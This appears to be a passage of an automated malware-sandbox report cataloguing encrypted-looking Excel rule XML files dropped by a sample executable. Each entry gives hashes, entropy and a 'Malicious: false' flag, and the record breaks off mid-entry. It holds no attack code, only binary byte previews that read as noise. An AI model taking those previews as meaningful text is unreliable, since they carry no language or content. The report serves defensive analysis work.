Preview:	<?xml&.6.b.`.1G.{.k._.].....8.o......w.:......D..y..1..cE.....\...).{...Zq,^.TJ..ea.f...Ez....0..k...qPT......l.'....2sp7....!..q..1.1.kk.IZ..,.dTO.c.X.k2)wHV..\|L!g.MuS..?...j;"CC......v@...........Q.....?=..H...n.......,.-1P.T......x.\|......0.D..c.+..I....\\|.....}...}...dI....T.h.....b........~J..).pb.znT.?5CPbZQ......F.E[A9...WE.e.j .....,P.e...,{y..r\\|%.Q..T.2V...p...N.\|.@.......k.......H..0.\|B.7pO\g..W.HU^8..,...arO.pPB3..^....T^.`1p..P../2...AB.P...t........Y.L...z...j....\...A.eV..t..B....././..q1.%..-.@T..\......=!6..-,..:.'...d.....P3X.........9tL..)...$$..N....G.......\.._.:._+.0....T.q..+...4\...W...\|Y.)..E.......^.?-o..&...d........q.....7...p.f%rJ.b..A..x`.(...o@....Nh..?..N.N.P...Ff....+.H..L.x.P...V..C..y..g.....f...zeV..."R...A.y.-....:..L....b........xA..J..JI\|I.g.....K..C..46.J..#....[_.z.C..^.d..xYd..+:.....N..X..S.M...#.....e...fK.C..X...iiM....2\|.w......J......B.e..2F.......(.v..;..;.*L.....oKg...Z..f<j;.%T..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.880152092956832
Encrypted:	false
SSDEEP:	48:F09s5mb4W4O004NPVuovaTPu6umxSFE4PMJYmAD:F0S5mbCO004NoY4u2Sm4PaYL
MD5:	D77D3E6A8F80FE1B59CB57E5F7F616FA
SHA1:	05BA20AA7D146BB94551ACB990028A126AE90D02
SHA-256:	3981D7B3D8EBB06BC48E827BD60E94D87B460CF3BC447CA536DAF6E1A38666FE
SHA-512:	2F378771061A4408CA0044BCD3F11627CF9E128B399EF1520E478968A4E4F5AED01D57C38A36AF58473097F4DDBE3AE3C383B192B5CE81AE44E2729578F99CFF
Malicious:	false
Preview:	<?xml...?......C.\|9{.=5u..zhD`.ex...}.....VR...RO..z...r..,^.c..5."6Snl....3..72.zZ.........[... 8._7%@!.quI.Z.tm..c#u..a,.../....;..._.l..t..1v._.......~m..x.i....S...E8...o.....R5.{..P.=I..L.n.#.n...U7...#.mt.UyQ#g..4.....7.....[...ny.UN.B..v..%.$9.....t.w........!...#.N.J/G.v.Q.....R.Ym..`.Mu..'.F...r........ah.k...m6...2.7>I...._$.V.7.)......5..M...m..M....#C.-t.n.7.%.T.m\@9...D..%....,P......\.5l}...x...V=..p..0B`.i.7....".w..i.E:_D\............vE..-.....f...Q).51)US{~..CG...y]....d..O2..WL..w......qq.....?.U.i..%{.f.e.....,G..../.PgHH..L..1.K..;.G,{...ySP.Y.. ...,v(z.D..2....y..o..xf!..q1.R...`...n..1'...KK...z..fx.{X.1S..Y.:...`q@.B...%A`%4.Y5T..&...=1..DE.f.%..n.V.../....4..b.....'.$........P...0...B...\......b.=...FM?../3 0.X..C^_.g`...f ...P.XXp.F.......+./..j....?.....lI..b (..}.x...(.{...1.F...(.Xc......y\.U.............n.Q..v.q...@.=n.[l..o...xl\.\|.N...*J.E..c.A.../.Q2r.:......(.o.{oe....I.l}<.......5..j.....\....<.nr{.y"s.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.878364139564168
Encrypted:	false
SSDEEP:	24:FADZSrkZu62wVhxMRvnszyfNLdApN72T1Mz/LMjzDoEOHu6WPZcnQ0XnrEo9Tq+I:FwZtu62JvnlfOwMz/wLWO60ZcQw/NqD
MD5:	984F952DE9D90002CB1001B316AFD696
SHA1:	08EC850E15B0048C82770D69A7BBBC46CD1CDC00
SHA-256:	8DEAC32C980D1934E427235138A81D5B2A7B9119C6EA4BA1924D634F01D8DA58
SHA-512:	C05CE5D287090D890C9AABC1C68705FEB74A88ADDB2D638357EDF4AE2DC3AC956AEDA708FED1E317D62FF2071887A96E61A2C60593B15788E9763306EC5CE0D7
Malicious:	false
Preview:	<?xml7.U?.m.p.$(..^....iou..U..w...A8vg...X,.m...z.u._.D...;.......(..M..U}[...._(o.9.K.][.J,5K./.....u...a...DV@nwlTG.~..b.'.......+Bb.!p..L.O.:...m..%....Q3.2..M.7.a.N..[.'.Z..e...'..+...C.h.k._...t.5...y#J...x..2.\|.bE.g,.P?Y5.......%..W..v.........qT....bb.....[.Z.:...m.!..7....Z...Y..k....@hN....[..vb..j..A.T..D.m]0"]4h..V....J.#n..B..:/.A3.K)..Q....1xfH....-.x..o.'.34..@.......s+,.t.x4.8y..N..-q)&4V...DFK...m_H...&^.. Bzo..._..}.7...P9....K...`Q.6..8.... a.;.z....Oy!...=.n`.6:.n....K....7o.[]b...x1..0... 2M....#j..p.~F.d.u...... #..\|>.rp...c.......Y.P>.Q.....y..fZ2...^.*..J #[...#.u......+....qO....$.6...Xi...@].!...&....!./.I.3....6-.$...\|...Xg..u'.$.....I.&k..$......,..(....(.n........5Ss..n...R...TL.o.8IA.II.o...ra..,..V...4$I."D#..7ud.F.re...>...8k..)/......f..e..8E....A..A.D..tF.aOG.....?p.p..../Hc}.o.19.F21w.Z .#dj...vw.=...g!..,.6$..tp4R.;......r.._2..@.,v..?..y...UX.n....t..<.F..Tx'.D.C......G._.g..=.,.........aH.`..<.......i..V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.853250038356324
Encrypted:	false
SSDEEP:	24:6N1myuMDEkXR6NAxQ12evVTAJIEzsP4Tg9hHtNXJoTbBw392bD:67mZkh6KHMTA/s0KdtNXJoTbBqWD
MD5:	2933DCC180B598FBB9A8640D813AE366
SHA1:	9E244ECFA6EEB1BBE7E436C9CC288A25B2210797
SHA-256:	4887586D4F5A6228F911778EDBA10DE42FB7F269AF8401D47BFB3B9F4BBB1DD7
SHA-512:	4DD462D583C25F15722A072034A1377F49CA27BCD8B037E38FB477094F982032529495288DEADB715984D926307C99009D5662B3244A76A5B886D70C861D9628
Malicious:	false
Preview:	<?xml......[....-E.6CY,....../'.x$...Za.S{."..TL.jg...MV.X..8.L. .....:.(...c..@:......=.........'o..s.Z.>.m..8c...O...4/.}.'....4n...@.1.E..Zf.<.QU'.s. ...c.^S{(.~...#r.....>1..R.W\|j.......gt.yJ.....H^............s8...{\|..TV~.....^..D.X..T.:..'..G....Kv..Vp.J.+....X..q./X...........?f.<.....2Y..0c%..)kf..i...M&...x^;CvaWS.$\|'F.U.q..H/....v..#.....V........g.zB.p./.x}e...-.h.1(r.vW.tpA~m.0...,.(..4.8...!.....5j.R.i.....;P...x.`.y.....y.`......s...-..E...`..f..f...X^.3H.J.^w......#.........-Kr...3.u.>.I(.5..v%..&6o.u.'L:1..e ....m...i.P..B.U.=~... .....Z..nZ."..^U.4...).....7......4....c.N...~d......qP..is..fB.......r(<q......._j._\|.d.;...Mtt6.Of..7.5.s.w.1:$..)....3._...j`Qr...-M.Jn.t....m=.....2x-...............q._.i.....j....!../.G..6.6........j.+.vZt.gsX.%8..~...^..O...a...'s....1....w%.o...n...\|M^...v.\|..~(.7...X.e..z...3.eW.5........c.>.p-7.G.E...f..%^.n.L".>G... *.m.'gMg.....lt...%...#.(.....~.J..S.L.g.Y...(,N........^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.870401275887205
Encrypted:	false
SSDEEP:	24:RkBwi700gy5Edlz3NWJB0mPlzqbWyLlQqd6jHuvG+yQoR3tsFYy3e2bD:u5WyGvA0Q+3Wq5yQo5taFD
MD5:	E643E49D24B86E54AE83BE6C853E1FE8
SHA1:	23802FDDD315A18A884358B72EE47464317ACD2F
SHA-256:	9023784C52F2DD4C625BBD9E728A961A0A7A69ED9668EFFB6488AEEE72BAE817
SHA-512:	F690DC231BCBCD339A3A8C60E97E1EF6301AB2E8B209C00AA9E7752D667ACDEBD811A18CDB56F9889F45A4E0B4F2FB67BCA2F004F6C91F00B2275944961282C5
Malicious:	false
Preview:	<?xml...p...W.....b>y{<c.E...L..J[..@.....h#....Y..$Sm...^.b..u.7.......>.<......bR.U.K....-..Y....5....h.s...C.\F.Q..'..R+...^(.f^f.~&......`.J......._.z/.B..4((....N..//........\..n.q...}xW.g3..t.>.T3E. ./.."\|.....S.:..6..u....Z.....?`.L0.cN..&.q.VMW.wX.R..P~ ...P#E...u....?..y...V..~UU{2}(.!..N.X...3;.......p.t..lb.......u..Y..;.....j^..h..h.`...B.r.....I.s...e-w.`.\|.tx%.J.....&..d.=.\|.f8S.....I..;n.$...~.....3....w.\|.#.u.6/%.l'E..Q.D.$....9mg6.!.1.-Hgz...V.6........y...a.....R{.^%..(.R...V..x.)u.ky..cZ... =>.."...{.wjoz..n....gA0.c..'..Q.!=.jH.W..C...d....p.;.J....S..>.&......8ca..Dz.\|I...]..S.1s'.....0M.....9aL...Sc....//).l.Z....o....B$...F.;..\|iw..L..l>...bd../.]Fv.......J/?Y.u.d...G..^v.....g.i.qfZ...~.{...#.W....~....Up...er}$...p.X=..]d..V...p0......M.....4.....,....J:.+.".....%../...Y.....m...Tx%'bA...w1.......f.$../.@.N..m}.ve....V..:b.].g...b._._(<#.BC.c_/...BZ.kM...M..in47.e.H.0._..lx..........a...W.u..G.l..r.21.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.865907343552229
Encrypted:	false
SSDEEP:	48:5yAMWz4OTDcpkAEH3hCKW8T6g+LChy7Q/QKlnr6NawD:QA8OTgOfOL26Nf
MD5:	2571A2390A15FC9615C43356178E0D81
SHA1:	DF16B599756EFE6A2A04D39932795AB367F8DB25
SHA-256:	511493D07FD3934356C9E7A493B7029B3B6D404C51668061BF5969C724313B41
SHA-512:	ED2C894DA52B3F6B51515A93AC6465F600432F3DA80AF9EB5C8522533E0C6BFF8525B07EA982C4DF05BCB022F754D454A3960A3DCC72DC7061370416E76AD247
Malicious:	false
Preview:	<?xml:.j...'p!..J `Fsq.<v.......U.......u.......N.kn...M.x._I\L.R.......m.......\|}.cH..l......2.."L...3UV(.+.UQ...HB....y./..Z.-..]B.b.i:u{.kj......... .........j....H._T`C.\|...NV}....`pD..+.........2..2.;.C..V.E..;.B~./....0>.}.Z..N$.J.G.Rw...6.F..Q.\M.W.g.4.../d..kE....n...8.K.. ....^..4...q..Jpi....N.-k1.....\...8.....dU.....y./... vXHV..p.0......N6..(..l..Z+.EE..%.qzO.{.....?...b.......%{..d..;.Z..?6.".....d.?.b"..~..........Z..?...(...!....>..... ......wY.i.r..w.@!s...e. ./g..Z.N.4..Q.@$..>].p.._.....#~...QG.%.d.....3.(.t.n$.eA..(..TVSQ......n.=.4.S..U....$.O..d.D.={...\|/.......n....v.m..B...B!G<..q.....,T.6&..js.yD.M~..d..&9eX7U.T.../s....;.s.R.ss........3z..}(.CgJ....`.W.s..O...........W..q2..{..{v-@.D..[.....$ ..x.['...P..`1..$....n..e.~D........$.....r.s{z0..PV}..}.0.....A..2"q"........f...V.:/.YGE.S.z;....N.n.\..u.mE...._.._.W....H.In...Q....\|.G]..#3k.\|....x-..uN.m......._q..}.`.....j.Z..."`}.....qN!...a.%1..*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.737694772466368
Encrypted:	false
SSDEEP:	24:wVXeP308LRePNDLWZYECSuzgbabC6HF/yko2bD:wVXePbLgluuNTVRbD
MD5:	982602835CDDFC7A8D98AE125DF3FE63
SHA1:	AB4885550A326E76D701E0C481A17BADA72E8FE9
SHA-256:	251C53E42B92B197A9643846A252409939007B0B59B4358764089B33D6C399B2
SHA-512:	555359DBDDFBC05F3A5DBF69AFD42D8314DBB0E0C187177E6CD6098CADCE59277901C3ECA712B3717F6A5C60758EA81F600783038D561076D31D067847975555
Malicious:	false
Preview:	<?xml...}S]q.........,.I..MTy....VI..ti..2L.].#..Nm..;W.Z..3...8O..:..f ..<.Y...M.7.,..>....;.)..?t..1i.....}.p.>.4.\|z.;...........H.....\|....'.s...,L.jy.So..e....7..;_.j...0..#.sj..I..[@..%.?y...2j..i........0.Yu..:.....q.S..;.z.G..Dych.....$.T.."...e...j..@.7...;..;...\|.=`....:.Y`m.N....3.C...P..>7....e..k1....K..~.L.=1D..F.L.G.c.c.:...W.s...#\...(.>..N.d(.......h..g..rVG...c...y...M#....P-i...99......d..gl.N..X.bS5^...a.\...qh.p...HRy....Z..'.9...pV.q..tvsb....U.@....3?y].L....t..B]_.6....!......>K.n...=..m......s.@.<......F...{Us5h.\|.1.jX..w2..b..E<w..;..E..Sk..d.G.p..@..,.'_S..y.S.lx.e.ok..,...:Z.....f..A.V.......x.._.z...'.h..Z!P.].+...'^.'.i.u..Wt.;..F:K.6L..L:.3...w.K;..7.N2\|..n....\o3B^-.....=...-g.....S...:...vw...T0.<.7..h..^.##.H.>..`.Z...Dq.i..m5..>.U.....!....z.[mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.951867937686565
Encrypted:	false
SSDEEP:	96:GpbUuEvbKuchawuhOu5bcvKtRMv4EnDenAfy:GpbI9cwhOibcStRM3nVfy
MD5:	EA6F97C416B7CEC089E438B1AD3F8A2A
SHA1:	A2FED355B15B27BE5A5E26DBB77F136EE3EF5189
SHA-256:	0BB0CB7DC6182D12597713BAB78025159BC4D6EFEC1DDBA47318104B5F726C99
SHA-512:	8F54E6772DCDFAA84F05F265ECB64A4864AB283B0B5608AEC817A1EB30E4CB549B538BFAABFE58B17EEA42ABC65C51509D662267A1EB8079E26620B7667E13A9
Malicious:	false
Preview:	<?xml.&OUH.e.6e?.ETGE.??....ML...Q...t4(.=..AC4C......&.;.()y`.....[8.)_....:).........C..z..UU.%.>@.w..a..KI.d+.\.s.OH2~...5.ueS.9p..]..rb'.T.@]SA..d.J.]...&.=.&&7^........A...^....G9...VR.........DH.. .(.Ej.W.c....."@AM.............3...J....p0.V]......].."..K....I.Gs_..H.......z8+.8....6....m.,?.....6.-!..7.....qF\|9..[.........I.......B.#..Ti....w.....y.g[..v..n......r.l...X...]3....4..r..KE....U.....$.v. RP.8.E..-.G.j.{rRS....#...w..~..dQ.3si~y8 .&....].S..5.....Y ..?.....n.......xC.F.../..l.+.i.5.&.B.......DF.....U..@.........a....$>\..#x...12.d..u........J..t.7!..t..7p.q..o.V....5........~....Y.._..V.....l..r....t..\|.....V.a.3.#..C...v.....E....z.S....E.p.m3\|...........M.)m...{[...FA.........se.:.........u..(.."....B+O.v...8k....p......0&.o...o.7]0.^.UCJ..@..v.. 4K...X...>.h...!.r........3..A....O,7-..u.1. .....(.5....S....%......V..u4."6L1.)d.].z.'{e.......?....z<;VS.,...am..%..K.Ht.\.g4.9..p.'U.^0)e......a..6Vx].g..Z.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.943986658452088
Encrypted:	false
SSDEEP:	48:g9ztbNUCfIZk6dqCgqMBxktcf19GXv3tIevH1hxz0IT3BxBytZxzlHcA+M/lsYf/:UfpR6WPBxkt8yXvdfvhvV4xzlGM2U/
MD5:	2665340A94F44A1B517E097A4E782121
SHA1:	D1216E656CB4C440A85FC4210F94593A56DEC40E
SHA-256:	EBAA1A4AC8EF163E22CDDBE58D44521C2DC8A4ED482E433ACB8AC8237EC2959E
SHA-512:	DDFD95435EC2DC42C1358566397A9069D7D9B246CC62E8F761987D6B9F6564BA81187B3FE43330480E112646613ACCD6CBD2D8964445FA52DAC9FC7472DD114D
Malicious:	false
Preview:	<?xml.?.J...[.W.:1.\|.5\|^.Z#{...l.GGoPlJ..holV.V..#.Ug.....n&..\....C~E.2./...xL<!.n..Z....Sj.y.IsOP...mU)zV...p..>.aeZj.c..)oQc.e.\|.z..?v.G.3....9.?J..Y....@.I........3..J}.....i..W...0.....E(d.......MD......f..;..:..vf.N.\$u...N<.K`SP..3.z....`."^4.N.q....._...9.x.=#....t!..Bc.hjA..h.JB..'....Z....O.+.&...6]d...c....]...W...&.k....4C!...ct..>.........j3........8...s_...P.9.$O.......Q.(.L[.v..y..d..HDM....X3.U.....O9...j....M.. ...a.+,....3....-`H.q.k+...N...;.oK..G".N:..J........if.e+I..G...t...<T...D}....uP...g>c..._..V..nj...P.h.]...FT.@.AJ.......H..C......a......S..E..`7V.!.H<B......b....J.$...j.i.N+...^.j.ds.:E...F.0$....Ms.TBJ.....r..d....$..DWgL+...W.tU...g]..Y...".`.......g......,<..$.....'...u..a..s.5Jl...i.X..A...._....-..M.6...(Zo..c...i............JV....-.0%Y..&.....#.w.8..,T/8HH...9`....C"....4Le..s.\i`...{c.2.HT.=#..Jk..m.)....d.!'.tT.....]v.=....P......F#.3.j8.....n.....w.eu.`.4.2..;x_gW.....uZ.`.` ...Jz..D`V.....V.K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.71469666346535
Encrypted:	false
SSDEEP:	12:0NJBkHeitukxeOJMkKxb7Bbf5FCwcrAJz7y0nM5Q3vfELj0RBT/xdwG4SUdNciik:0NJU1xhKt9bBiMz7HnM5Q/MLj0RBTwG4
MD5:	E0C69F5765F034EC2C6ED03B7C3EB0B1
SHA1:	BF5E516CDD9AA8E22956EE5BEA2CB4A3E208C77F
SHA-256:	9CE87CD62245DCAFC7923471550F60CDF8A383FDB6E481EAE62740BD8C76F89F
SHA-512:	7818E1EB68D5598AA415675E597BA2590D33B3D70B9C3779F52182F93D1EB6C689E7A101453E3CD6E4AA48277605A38E4E3A13E0489C8E01FA8AD3A74BF1F941
Malicious:	false
Preview:	<?xml.r.!..-m.n.3...`........6.w.W>tB\|#.'...P......Jh.....4K.......0..=_....W..O.....B..C...3T.8.NTN.....8......U..D.&.....H.d.r.m...0MU....j...]6....V...LKU.._...P......U.R..K..J._.>Bz%.Z...)i.....Myo....sY..C.Q....ma.7..N.C....O.V.jX.......$.I.... ..8.eu.W.G\.B..,....U.c..Z.&G......cR.f..!..J.d+3..\|)..\..#.#bh.R..)..R@......g..u../..d.....j.(...D..5.Uy.......<....03._...t..)R.v....dR..E9..h...`&.F.F....P/.n...E..0..]O......[..4.......v.!Q<...........r. ....9h...#........v..\...y.{..........Sr...p.........O6...9.......K.m......9>...j.RN.xq...t.0G..;.%=/...oM(E........Q..N1.E4.... ..M..o...`"D.%.A.P.X].b.%.......dw=N..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.8840249011838885
Encrypted:	false
SSDEEP:	48:9frgRnV7y/imRtgr8cepWebrKRicu6no/uTD:9frgJRy6Cty8c2kRFxo/u/
MD5:	F0150E5839F99074278510EF863D19CE
SHA1:	A9AE85538F6FB600D9B9AFA4D211156310278558
SHA-256:	E43840494CDB4DE290F8812084267067CCD2B61E2DFD3D4FA6C11DDED3C60D4B
SHA-512:	AD4C1697DE9362EF909449B2412AC308F093A4F8D197CE2728A4928C79D664A31E56FF6D69056C341FB19D992335FC646BF630F62303CE4D26E8834014267F31
Malicious:	false
Preview:	<?xmlj\|..p.I..l...1..h.\|.U..@=.O....`o....-Uiya..]..j....t...-...B%.#>x.f._...x..1..[.J.q....\X.x.-..NU......m..u...?..k8.P.2.0MGQ.'1.4S#.3.....\|.....A..P.8...\..Nqu...5/...s.T.....-.c.g..M)...Vp.-x.~bE9.JG.\..w....Q{....C.Q,v6`ZD.6...))'.].:ta.z.n.a.....1,&.]...\|l..$D....8..%.'.>!:.~zD.Ou...JR.+...4..~....s.5 ...._...A;...........v.....>1...N.\!........^O.....s.&/9n....H.D..l.rC...U....@.M.o.t..X.e.1...E..A0...9.T.;........m.uYn<..U.....@N.].0.yPYK...7.....s......K.0.....Q&B.2..&....OS...>.P.D.....zG..]I.e\|(q-......j..........V.U..y>I.......T..l......Z\RL...=...T....g.....^]H.K6(.../{D.{e.+......wc2"V\|.\.dV_"g.dC\.......H..T....KB.....4......,....T...4...........o.....c.N..^..'7.x.w..>.=....&......i.5..m..w..Xi....S\|.\|"..u.{..dO.(..+nl...S.9 [_y..yt0.........vM... ...*...h.........>.W.. .4.,..^....R>r..s.p:.".+(.A....A...y.s..'#...+....XA.,6],HT..H....l.o&..~..f.s..\...........vK.Ge..D.{...M..)..Gb..q:..7..'.t.p...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.696112761598997
Encrypted:	false
SSDEEP:	24:Z9NvC/+dqXRMJPsFwbzU6tXcQm057QQGHN82bD:ZkeRb5IrQGHRD
MD5:	6936B82C5914368DEA6A6D37138F684E
SHA1:	26B7A946159DAB58B315A9024B3DC0BE062CE37A
SHA-256:	FD7B64E2A2450E5E4343D53B5C9940D2D97140AA0C75AA39D97BF3F182EEBBA7
SHA-512:	9F2D81E122856E7FFE2CA5C06945F48AF1D443F9B4BD42A38D6C95A894CA140C1A0EEB75F97352AB36D153D8FFAD0E0E2A30868D803CC8BB7B5F62931131DDF5
Malicious:	false
Preview:	<?xml.9......F.yG.X...A..N[~.,.:.N..N.....&._....^.).n...{QG...u+.?.2.4......?$B........R.]..C.B.<...;..q.ys.6..H..'...tu.A0...s9.Y;.DA.O.79^..6.f.(.........u.>....9...d......d...FW...d....,...L2#..<J..:......<-....G.M.[....lJ........V..s<7V.:.:]c).0..t.>.. .....3..VC.T........xZ. ,.h..sAR.j..k.^Cy...G}...U..PbN.'.qEy.k.J.xHW.]g.o^..1....Z&..{....jF5.....drC..G....c.....a..6.e...1...68.vo.y.aF....g?.O...g..\_l..P.n.Aa.m.h..B7........t..c..2Y_.&...o0...Um..N._..-Z5....l...?.E.C..>9Sd..8..!.\heSUGm\M[........w..~....Ba...g>........5CIT......s.m...](..2"R.A&....1.rC./...u..j.s...`.'.l*.Q.W..../Q..S.u...m.._B.q..n:....\.l.........A....(Pc..~.v...s..f.`.P..p....xds._\|I.a2...(@.c..:N...r.g\&...j.d6.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.813342837607929
Encrypted:	false
SSDEEP:	24:idLF7IowkBp9mRgWrVOc1g3j/wT+pvJq1r7f2bD:i1wk79758wj/W+pvJg/8D
MD5:	F88FDC0C2ABE502E2AEC3ECA493A563E
SHA1:	25F22FD4254806EA0F28B1388ADAB2430BD4F452
SHA-256:	E6A45DFC76E86FEA7FAEBEBC894D4E6F60158F8851B88F06CBDD8337F20E0188
SHA-512:	7C60590AF5F9E107493953D4F914725D0703BB1A3871701E4ADC6605E989FB02E0F0F3D36845FE0FDF056C0FEBA13A7F23D509C367AD60B3B27249EFD3F68E97
Malicious:	false
Preview:	<?xml...Q..w.C.)<.....n..b..D%.......B..x.;./V\..M.#t.........I..."{O=6.p........ .8.].3l.u0...#!bo9dc.F].o.>..f.w.&....4....m...iD.'"4....~@.T9.q.....M.\|E...)..^...)K..I..[z..6...:...........4......d.e...6.6...s`2..=MWY.z....pA..h..]I@........[..G.AC.7{..v...H...8D..7...y[...h...{...B....c..W'.....n.w2.n...L]..R.\|6..{.. C.K..K.......#1......qD.}r....r...7......60.......,..\|.e..G7I....j..N..9f.....>...S..M.=E,H.2U...M.l..l..'..RfQMI.e.fw.HNv.=.ROFxA.L..1(.`.S.P)...<.RL...}.+(+......;.B)QM.............>..t.S..e...--f..:.~.z65.`......a@)<5p:=..Y.M........B.k...0}.o$..(.YQB.....fbv2h0.l.7.....t..P..^...p...AD..dj6.?.t..o.....oQ.H...).,.G..g.s.R.....C{..v.dE.&...6.WIO...Y...`}p.....9..I.\|%U.@..1..5,....Yx.g.\|(..#2.+E...\..KA..>..O.......s.[..k%..T.O.%..X-.B..^.s.4.....s..*.T~....y..N..I...j.\.E.]..'L..E....<x.{U...Es.}..........-.:..7.>....]..]....f".^._,5aa...w...7.0...J..Rz..`\|....b..\mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.845452797072909
Encrypted:	false
SSDEEP:	24:T1PRh1BErJFLE+Rfq08WWTDwpyoxs5hu7pRIAo6jMHVSay31DUsof66Bm2XCJyRB:Nj+Nfxq08WWTDwK27fI4IHVST1DURf6K
MD5:	96C45AA8CF09ED6506E3F36B90262025
SHA1:	B69C611B767E08315351F056C926432E01222EE8
SHA-256:	0A3027BDA59E4BCD98C34AE0F8CD1A8EC05D2B29DBB9BFA47B2BDEE9E363E836
SHA-512:	216215FF60125E721E5C2377C12E10B54C6C84342EA1FFB41E5D0D61AF21065539607987E249A9E5C6400A094CEEEB39EA44BE9A931B03279194E17AA9FBA327
Malicious:	false
Preview:	<?xml7...B..t.............!......z.wO.....8{.H..j. 4.<...x....?W.}..............#....w..q....F..._...=...s...&'..W....7.._".-[...=...-1.%cr2.[.........&.J.....0.4..s...N...[.Y..f...x.].J....s.=.p........#...\|..l.<.{.....<+?...a..f...6C.e.~jQU}..Y.`..\}C/1.z.....r..\?.9A...e..'../..k.+....1....a.<.>.Rv.".yS:\|.4.L....4N..f.rr."K....m....id..&.}/..r.@H'....0........C..v?z.K...J.Zq..nE+..... !..........x...0!....D.3.L....x._.....ESm.#..!q.-..Nd`\..fg.......K7..lv.^..W79........]......V:...Iz._.I.`<.#tx...7T.........P..K.(...._;...r..hYE.).....:.l........l0..Eb.`....m%.H._..fH.p/..=.......h....u .U...6g..<..W..[.p8...)..S....:E..G.v.z......F....B]`.R.a.-...'.K..IQj.&....J..&p....A4..0.L@..">.4.. ....=.V.5.2...........\A........,..Np...-..`.a....I.7.'.x..w...k^..................z.p...f.YQ.q;L='.p\|,t..,....w3^.b9X.dL...f1l..G`Xj..Q.H.U.>.D}...#.v?.~y}.{0..:.;...f$\|.#E........Z.G(.....{...9^g...+..!R....a;8*n...n0..}9I.......j..8..<..C~.grn

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.917928960219565
Encrypted:	false
SSDEEP:	48:NPvCUf5YBj+WvrcbDs5XydTxd/5tjKyboUuxO+zo3MwbvF3XD:NX9YN+WDcPsUBjn2ybduo+sHDFj
MD5:	A3F416A7B8D26C182CA039E6F8C87D03
SHA1:	C2E64E1F2A32043F5C00CB45FFCEDA000CA4FC4D
SHA-256:	D6E90140CCD3921F08F37377BC4A1C33C822F2A3B32753C8B0C7E66BB15B403C
SHA-512:	1DB813A1F00866A8C129BD2A4F4F0DF8F110ACD1CF79FE2CFE776CB15C8A763CC2BE3B4440B56AC7E1E3D9446D3718160424DEC411CD574282C25C4305162DA5
Malicious:	false
